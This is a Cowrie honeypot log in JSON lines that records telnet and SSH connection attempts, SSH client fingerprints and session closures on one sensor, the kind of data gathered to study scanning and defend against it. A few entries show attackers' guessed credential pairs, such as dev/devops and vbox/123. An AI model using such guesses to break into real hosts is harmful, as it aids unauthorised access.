{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59312,"dst_ip":"159.203.135.109","dst_port":23,"session":"6be1d361279e","protocol":"telnet","message":"New connection: 209.126.87.217:59312 (159.203.135.109:23) [session: 6be1d361279e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:25.407521Z"}
{"eventid":"cowrie.session.closed","duration":35.49310612678528,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:25.725551Z","src_ip":"108.179.216.206","session":"e52082fa6d16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59314,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f3d668ee898","protocol":"telnet","message":"New connection: 209.126.87.217:59314 (159.203.135.109:23) [session: 6f3d668ee898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:26.005360Z"}
{"eventid":"cowrie.session.closed","duration":31.163387775421143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:26.739867Z","src_ip":"108.179.216.206","session":"e84a140d3662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59318,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f55cbb2676","protocol":"telnet","message":"New connection: 209.126.87.217:59318 (159.203.135.109:23) [session: f3f55cbb2676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:26.911263Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":59932,"dst_ip":"10.17.0.5","dst_port":23,"session":"917ee563b9b1","protocol":"telnet","message":"New connection: 108.179.216.206:59932 (10.17.0.5:23) [session: 917ee563b9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:28.651267Z"}
{"eventid":"cowrie.session.closed","duration":35.095279932022095,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:28.685941Z","src_ip":"209.126.87.217","session":"21560330a617","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59332,"dst_ip":"159.203.135.109","dst_port":23,"session":"eae4057089be","protocol":"telnet","message":"New connection: 209.126.87.217:59332 (159.203.135.109:23) [session: eae4057089be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:28.721899Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":59284,"dst_ip":"10.17.0.5","dst_port":23,"session":"40c8d7641a47","protocol":"telnet","message":"New connection: 108.179.216.206:59284 (10.17.0.5:23) [session: 40c8d7641a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:29.019508Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":60312,"dst_ip":"159.203.135.109","dst_port":22,"session":"18dd16f87223","protocol":"ssh","message":"New connection: 103.146.202.174:60312 (159.203.135.109:22) [session: 18dd16f87223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:30.407795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:30.413468Z","src_ip":"103.146.202.174","session":"18dd16f87223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:30.661992Z","src_ip":"103.146.202.174","session":"18dd16f87223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"devops","message":"login attempt [dev/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:31.677551Z","src_ip":"103.146.202.174","session":"18dd16f87223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46820,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9e44819c28e","protocol":"telnet","message":"New connection: 209.126.87.217:46820 (159.203.135.109:23) [session: d9e44819c28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:32.048185Z"}
{"eventid":"cowrie.session.closed","duration":30.533528327941895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:32.053251Z","src_ip":"162.215.1.145","session":"b5f21161b787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46836,"dst_ip":"159.203.135.109","dst_port":23,"session":"5539123f5e62","protocol":"telnet","message":"New connection: 209.126.87.217:46836 (159.203.135.109:23) [session: 5539123f5e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:32.661157Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":35864,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b5528001379","protocol":"telnet","message":"New connection: 108.179.216.206:35864 (10.17.0.5:23) [session: 8b5528001379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:32.760829Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:32.926451Z","src_ip":"103.146.202.174","session":"18dd16f87223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":32954,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c6846235389","protocol":"telnet","message":"New connection: 108.179.216.206:32954 (10.17.0.5:23) [session: 4c6846235389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:33.044375Z"}
{"eventid":"cowrie.session.closed","duration":30.91185426712036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:33.121210Z","src_ip":"108.179.216.206","session":"f3276f7b176e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00140261650085,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:33.310236Z","src_ip":"191.251.162.82","session":"e0e3c7594b22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.939134120941162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:33.316447Z","src_ip":"108.179.216.206","session":"6e30190069f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32148027420044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:34.075886Z","src_ip":"108.179.216.206","session":"06e669c8e61b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.001788854599,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:34.216953Z","src_ip":"72.27.54.238","session":"c946aaa4b663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57426881790161,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:34.261344Z","src_ip":"108.179.216.206","session":"cb60de15f8fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.27.54.238","src_port":50672,"dst_ip":"159.203.135.109","dst_port":23,"session":"e507c35e6bea","protocol":"telnet","message":"New connection: 72.27.54.238:50672 (159.203.135.109:23) [session: e507c35e6bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:34.673077Z"}
{"eventid":"cowrie.session.closed","duration":31.5449800491333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:34.678994Z","src_ip":"108.179.216.206","session":"dec7622cd748","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.22656297683716,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:35.002479Z","src_ip":"209.126.87.217","session":"7893bd0aeb68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.92951679229736,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:35.090833Z","src_ip":"209.126.87.217","session":"594e75800531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.737258672714233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:35.261321Z","src_ip":"108.179.216.206","session":"d5ac386bb778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32608437538147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:35.305919Z","src_ip":"108.179.216.206","session":"4e3d4172ddf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":38828,"dst_ip":"10.17.0.5","dst_port":23,"session":"0366899d58a6","protocol":"telnet","message":"New connection: 108.179.216.206:38828 (10.17.0.5:23) [session: 0366899d58a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:35.740195Z"}
{"eventid":"cowrie.session.closed","duration":32.79784440994263,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:36.463492Z","src_ip":"209.126.87.217","session":"0c2ebb3a9cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37560,"dst_ip":"10.17.0.5","dst_port":23,"session":"4520b5d9bc66","protocol":"telnet","message":"New connection: 108.179.216.206:37560 (10.17.0.5:23) [session: 4520b5d9bc66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:36.500401Z"}
{"eventid":"cowrie.session.closed","duration":31.47638249397278,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:36.691457Z","src_ip":"108.179.216.206","session":"397b41c89a10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":41306,"dst_ip":"10.17.0.5","dst_port":23,"session":"81244e6e9556","protocol":"telnet","message":"New connection: 108.179.216.206:41306 (10.17.0.5:23) [session: 81244e6e9556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:38.075773Z"}
{"eventid":"cowrie.session.closed","duration":30.902164697647095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:38.842098Z","src_ip":"108.179.216.206","session":"b245168eeaeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.558247089385986,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:38.858531Z","src_ip":"209.126.87.217","session":"314aea0fec07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.204163074493408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:39.274244Z","src_ip":"108.179.216.206","session":"3736701d2976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46846,"dst_ip":"159.203.135.109","dst_port":23,"session":"93cd868b4a65","protocol":"telnet","message":"New connection: 209.126.87.217:46846 (159.203.135.109:23) [session: 93cd868b4a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:39.567017Z"}
{"eventid":"cowrie.session.closed","duration":35.34432554244995,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:39.857659Z","src_ip":"209.126.87.217","session":"3ad76252794e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.743435859680176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:40.176398Z","src_ip":"108.179.216.206","session":"20e421f63997","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.21582531929016,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:41.906753Z","src_ip":"209.126.87.217","session":"a34f98d6a4ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":44588,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b4b5a2a90ce","protocol":"telnet","message":"New connection: 108.179.216.206:44588 (10.17.0.5:23) [session: 6b4b5a2a90ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:42.035850Z"}
{"eventid":"cowrie.session.closed","duration":33.46082067489624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:42.471726Z","src_ip":"108.179.216.206","session":"2da36ffa7dd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00174236297607,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:42.619974Z","src_ip":"42.114.201.41","session":"3f04048989ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39400,"dst_ip":"10.17.0.5","dst_port":23,"session":"60016785d1c8","protocol":"telnet","message":"New connection: 108.179.216.206:39400 (10.17.0.5:23) [session: 60016785d1c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:43.451554Z"}
{"eventid":"cowrie.session.closed","duration":30.954457998275757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:44.102916Z","src_ip":"108.179.216.206","session":"842629d9749f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":47280,"dst_ip":"10.17.0.5","dst_port":23,"session":"73940a0a21ae","protocol":"telnet","message":"New connection: 108.179.216.206:47280 (10.17.0.5:23) [session: 73940a0a21ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:44.445381Z"}
{"eventid":"cowrie.session.closed","duration":120.00152659416199,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:44.638824Z","src_ip":"42.114.201.41","session":"61d7e4d72b8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49458,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e9ad26d2302","protocol":"telnet","message":"New connection: 108.179.216.206:49458 (10.17.0.5:23) [session: 2e9ad26d2302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:45.464475Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50120,"dst_ip":"159.203.135.109","dst_port":22,"session":"56f038ee484a","protocol":"ssh","message":"New connection: 159.203.92.129:50120 (159.203.135.109:22) [session: 56f038ee484a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:45.876368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:45.881150Z","src_ip":"159.203.92.129","session":"56f038ee484a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:45.886673Z","src_ip":"159.203.92.129","session":"56f038ee484a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"P@1739723w0rd","message":"login attempt [ansible/P@1739723w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:45.900007Z","src_ip":"159.203.92.129","session":"56f038ee484a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":35372,"dst_ip":"10.17.0.5","dst_port":22,"session":"b258f3241eb6","protocol":"ssh","message":"New connection: 45.43.86.48:35372 (10.17.0.5:22) [session: b258f3241eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:46.315943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:46.321776Z","src_ip":"45.43.86.48","session":"b258f3241eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:46.405790Z","src_ip":"45.43.86.48","session":"b258f3241eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123","message":"login attempt [vbox/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:46.794892Z","src_ip":"45.43.86.48","session":"b258f3241eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:46.967204Z","src_ip":"159.203.92.129","session":"56f038ee484a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":39564,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5d89f72ca4b","protocol":"telnet","message":"New connection: 42.114.201.41:39564 (159.203.135.109:23) [session: d5d89f72ca4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:47.038282Z"}
{"eventid":"cowrie.session.closed","duration":31.112184524536133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:47.633740Z","src_ip":"108.179.216.206","session":"6c6dcfe0da52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:47.882291Z","src_ip":"45.43.86.48","session":"b258f3241eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.778504133224487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:48.043776Z","src_ip":"108.179.216.206","session":"7a073500180f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.26778507232666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:49.029409Z","src_ip":"108.179.216.206","session":"d88e9438baee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":31641,"dst_ip":"159.203.135.109","dst_port":23,"session":"330af1583c45","protocol":"telnet","message":"New connection: 42.114.201.41:31641 (159.203.135.109:23) [session: 330af1583c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:49.481632Z"}
{"eventid":"cowrie.session.closed","duration":36.041019916534424,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:49.682634Z","src_ip":"209.126.87.217","session":"117547aad4d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":54566,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fece32a04ff","protocol":"telnet","message":"New connection: 108.179.216.206:54566 (10.17.0.5:23) [session: 5fece32a04ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:07:50.373727Z"}
